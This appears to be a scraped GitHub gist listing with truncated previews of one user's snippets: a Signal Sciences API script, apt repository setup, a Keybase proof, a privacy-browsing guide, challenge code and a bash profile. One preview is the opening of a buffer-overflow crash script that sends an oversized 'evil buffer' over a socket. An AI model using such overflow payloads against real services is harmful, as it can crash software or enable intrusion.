Skip to content

Instantly share code, notes, and snippets.

import sys, requests, os, json
# Initial setup
endpoint = 'https://dashboard.signalsciences.net/api/v0'
email = os.environ.get('SIGSCI_EMAIL')
password = os.environ.get('SIGSCI_PASSWORD')
# Set onelogin corpName for URL endpoint
corpName = 'REPLACEME'
sudo apt-get install -y apt-transport-https wget
wget -qO - https://apt.signalsciences.net/gpg.key | sudo apt-key add -
sudo tee /etc/apt/sources.list.d/sigsci-release.list <<-'EOF'
deb https://apt.signalsciences.net/release/ubuntu/ xenial main
EOF
sudo apt-get update

Keybase proof

I hereby claim:

  • I am hasasn on github.
  • I am sprkyco (https://keybase.io/sprkyco) on keybase.
  • I have a public key ASDPmKq1qb32Z3iT0A1hoEijqTcAms_2M5KtAcDIlcnNDgo

To claim this, I am signing this object:

#!/usr/bin/python
import socket
host = "127.0.0.1"
crash="\x41" * 4379
buffer = "\x11(setup+sound " + crash + "\x90\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
@hasasn
hasasn / gist:c4b6be20b24f14a48ad3
Last active August 29, 2015 14:25 — forked from atcuno/gist:3425484ac5cce5298932
HowTo: Privacy & Security Conscious Browsing

The purpose of this "howto" is to document how browsing can be done in a privacy and security conscious manner. This information is compiled from a number of sources, which are referenced throughout the document, as well as my own experiences with the described technologies.

I welcome contributions and comments on the information contained. Please see the "How to Contribute" section for information on contributing your own knowledge.

Table of Contents

@hasasn
hasasn / gist:5fc888edd420e1933f30
Created July 2, 2015 17:20
base.py_xena_help
import requests
import json
import re
class rotaApi:
def __init__(self):
self.baseUrl='http://rota.praetorian.com/rota/service/play.php'
def newGame(self):
req = self.baseUrl+'?request=new'
res = requests.get(req)
@hasasn
hasasn / gist:eee1a8cf04b5c0da7312
Created July 2, 2015 17:19
scoping_xena_help
from Praetorian import base
print('ROTA api challenge.')
api = base.gameController()
def moveFirst(board):
if 'c' not in board:
update = api.status().get('data')
print(str(update))
api.place(5)
print('Enter Number:')
mynum = int(input())
def collatz(number):
seq = [number]
while seq[-1] >1:
if number%2 == 0:
seq.append(number/2)
else:
seq.append(3*number+1)
import os
path = os.getcwd()
filenames = os.listdir(path)
for filename in filenames:
os.rename(os.path.join(path, filename), os.path.join(path, filename.replace('seek', 'replace')))
@hasasn
hasasn / .bash_profile
Last active June 26, 2016 14:39
Bash Profile
# ---------------------------------------------------------------------------
#
# Description: This file holds all my BASH configurations and aliases
#
# Sections:
# 1. Environment Configuration
# 2. Make Terminal Better (remapping defaults and adding functionality)
# 3. File and Folder Management
# 4. Searching
# 5. Process Management